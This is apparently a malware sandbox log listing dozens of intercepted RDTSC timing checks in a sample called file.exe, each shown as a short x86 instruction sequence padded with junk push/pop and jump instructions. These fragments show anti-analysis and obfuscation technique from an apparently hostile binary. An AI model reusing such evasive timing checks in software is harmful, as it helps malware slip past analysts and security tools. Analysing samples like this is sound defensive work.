Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2902D second address: A29039 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F684908B756h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A29462 second address: A29476 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F684904922Eh 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9BB21E second address: 9BB231 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jp 00007F684908B756h 0x00000009 jo 00007F684908B756h 0x0000000f pushad 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9BB231 second address: 9BB24A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F684904922Eh 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9BB24A second address: 9BB256 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F684908B756h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9BB256 second address: 9BB260 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9BB260 second address: 9BB266 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9BB266 second address: 9BB276 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 je 00007F6849049226h 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2DB7F second address: A2DB83 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2DB83 second address: A2DB89 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2DB89 second address: A2DB99 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 push esi 0x00000008 push eax 0x00000009 push edx 0x0000000a jo 00007F684908B756h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2E0DB second address: A2E0E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2E0E1 second address: A2E0E5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2E0E5 second address: A2E0EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2D747 second address: A2D74C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A38257 second address: A3825B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3825B second address: A3827A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 jmp 00007F684908B766h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3827A second address: A382A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 jmp 00007F6849049238h 0x0000000a popad 0x0000000b jbe 00007F6849049246h 0x00000011 pushad 0x00000012 push edi 0x00000013 pop edi 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A382A3 second address: A382AB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A36DE8 second address: A36E0A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 jg 00007F684904923Ah 0x0000000b jmp 00007F6849049234h 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A36E0A second address: A36E10 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A370BD second address: A370C5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A370C5 second address: A370E7 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push edx 0x00000004 pop edx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 pushad 0x0000000a jmp 00007F684908B764h 0x0000000f push eax 0x00000010 pop eax 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A370E7 second address: A37106 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jmp 00007F6849049235h 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3725C second address: A3726A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 push edi 0x00000009 pop edi 0x0000000a popad 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3726A second address: A37271 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A37271 second address: A37277 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A37277 second address: A3727B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A376A2 second address: A376A6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A376A6 second address: A376B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E0569 second address: 9E056D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3810B second address: A38118 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b push ebx 0x0000000c pop ebx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A38118 second address: A3811E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3811E second address: A38124 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A36988 second address: A36992 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F7190 second address: 9F719A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jc 00007F6849049226h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F80CE second address: 9F80D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F80D3 second address: 9F80D9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F80D9 second address: 9F80DD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F80DD second address: 9F8138 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F6849049226h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d jmp 00007F6849049230h 0x00000012 mov eax, dword ptr [esp+04h] 0x00000016 jmp 00007F6849049233h 0x0000001b mov eax, dword ptr [eax] 0x0000001d push eax 0x0000001e push edx 0x0000001f pushad 0x00000020 jmp 00007F684904922Dh 0x00000025 jmp 00007F6849049234h 0x0000002a popad 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F8226 second address: 9F822C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F822C second address: 9F82D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ebx 0x00000006 jmp 00007F6849049237h 0x0000000b pop ebx 0x0000000c popad 0x0000000d push eax 0x0000000e push edi 0x0000000f jmp 00007F6849049233h 0x00000014 pop edi 0x00000015 nop 0x00000016 pushad 0x00000017 mov dword ptr [ebp+1244E49Ch], eax 0x0000001d push ebx 0x0000001e jmp 00007F6849049232h 0x00000023 pop eax 0x00000024 popad 0x00000025 jng 00007F6849049227h 0x0000002b cld 0x0000002c lea eax, dword ptr [ebp+1247BD6Ah] 0x00000032 push 00000000h 0x00000034 push edx 0x00000035 call 00007F6849049228h 0x0000003a pop edx 0x0000003b mov dword ptr [esp+04h], edx 0x0000003f add dword ptr [esp+04h], 00000014h 0x00000047 inc edx 0x00000048 push edx 0x00000049 ret 0x0000004a pop edx 0x0000004b ret 0x0000004c jng 00007F684904922Ch 0x00000052 or dword ptr [ebp+122D31B0h], eax 0x00000058 push edi 0x00000059 sbb ecx, 53E16226h 0x0000005f pop edx 0x00000060 nop 0x00000061 push eax 0x00000062 push edx 0x00000063 push eax 0x00000064 push edx 0x00000065 jmp 00007F6849049233h 0x0000006a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F82D3 second address: 9F82D9 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F82D9 second address: 9E0569 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F684904922Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jp 00007F684904923Eh 0x00000010 nop 0x00000011 jns 00007F684904922Ch 0x00000017 call dword ptr [ebp+122D1DA1h] 0x0000001d push ecx 0x0000001e push eax 0x0000001f push edx 0x00000020 pushad 0x00000021 popad 0x00000022 pushad 0x00000023 popad 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3BD4B second address: A3BD50 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F73D1 second address: 9F73D5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3BEA2 second address: A3BEA8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3BEA8 second address: A3BEAE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3BEAE second address: A3BEC7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 jmp 00007F684908B760h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3C02C second address: A3C07C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6849049234h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jmp 00007F6849049231h 0x0000000f jmp 00007F6849049236h 0x00000014 push edx 0x00000015 pop edx 0x00000016 popad 0x00000017 pop ecx 0x00000018 push eax 0x00000019 push edx 0x0000001a push ecx 0x0000001b push ebx 0x0000001c pop ebx 0x0000001d pop ecx 0x0000001e push ebx 0x0000001f push edi 0x00000020 pop edi 0x00000021 pushad 0x00000022 popad 0x00000023 pop ebx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3C4C5 second address: A3C4CB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3C5FD second address: A3C603 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3C603 second address: A3C608 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3C608 second address: A3C612 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jp 00007F6849049226h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3C612 second address: A3C652 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007F684908B768h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 jmp 00007F684908B769h 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3C652 second address: A3C65C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F6849049226h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3C65C second address: A3C660 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A43491 second address: A43495 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A42DD6 second address: A42DDC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A45398 second address: A453A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F6849049226h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A453A2 second address: A453A8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A453A8 second address: A453B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jc 00007F6849049226h 0x0000000e push esi 0x0000000f pop esi 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A453B8 second address: A453BC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A453BC second address: A453D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F6849049232h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A453D4 second address: A453F0 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jg 00007F684908B756h 0x00000009 pop esi 0x0000000a pushad 0x0000000b jmp 00007F684908B75Fh 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A453F0 second address: A45416 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F6849049236h 0x00000009 push eax 0x0000000a pop eax 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 pushad 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A45416 second address: A4541D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4A2A5 second address: A4A2A9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4A2A9 second address: A4A2AD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4990E second address: A4993A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 jnc 00007F684904924Eh 0x0000000d jo 00007F684904923Ch 0x00000013 jmp 00007F6849049236h 0x00000018 pushad 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A49A90 second address: A49A98 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A49D0C second address: A49D12 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A49D12 second address: A49D17 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A49D17 second address: A49D2E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F6849049232h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4D22A second address: A4D236 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4CAC2 second address: A4CACF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F6849049226h 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4CACF second address: A4CAEC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F684908B768h 0x00000007 push esi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4CAEC second address: A4CB04 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop esi 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e jnl 00007F6849049226h 0x00000014 popad 0x00000015 pushad 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4CB04 second address: A4CB0A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4CB0A second address: A4CB11 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A536D0 second address: A536F5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 pushad 0x00000008 popad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F684908B767h 0x00000011 push ecx 0x00000012 pop ecx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A536F5 second address: A536F9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5209D second address: A520B5 instructions: 0x00000000 rdtsc 0x00000002 js 00007F684908B75Eh 0x00000008 jno 00007F684908B756h 0x0000000e pushad 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 js 00007F684908B756h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A520B5 second address: A520B9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A52208 second address: A52215 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A52215 second address: A5223B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F6849049226h 0x0000000a popad 0x0000000b jmp 00007F6849049231h 0x00000010 push eax 0x00000011 push edx 0x00000012 jnc 00007F6849049226h 0x00000018 push esi 0x00000019 pop esi 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A52396 second address: A5239A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5239A second address: A523A2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A523A2 second address: A523AF instructions: 0x00000000 rdtsc 0x00000002 js 00007F684908B758h 0x00000008 push edx 0x00000009 pop edx 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A527E4 second address: A5280B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pushad 0x00000006 js 00007F6849049228h 0x0000000c push edx 0x0000000d pop edx 0x0000000e push edx 0x0000000f ja 00007F6849049226h 0x00000015 jmp 00007F684904922Eh 0x0000001a pop edx 0x0000001b push edi 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F7BCB second address: 9F7C0F instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push edi 0x00000004 pop edi 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007F684908B75Eh 0x0000000e nop 0x0000000f add dword ptr [ebp+122D375Fh], ebx 0x00000015 jmp 00007F684908B760h 0x0000001a mov ebx, dword ptr [ebp+1247BDA9h] 0x00000020 and edi, dword ptr [ebp+122D3A7Fh] 0x00000026 add eax, ebx 0x00000028 nop 0x00000029 push eax 0x0000002a push edx 0x0000002b pushad 0x0000002c push ebx 0x0000002d pop ebx 0x0000002e push eax 0x0000002f push edx 0x00000030 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F7C0F second address: 9F7C14 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A52967 second address: A5296D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5296D second address: A52973 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A52A85 second address: A52A89 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A52A89 second address: A52A8F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A52A8F second address: A52A95 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
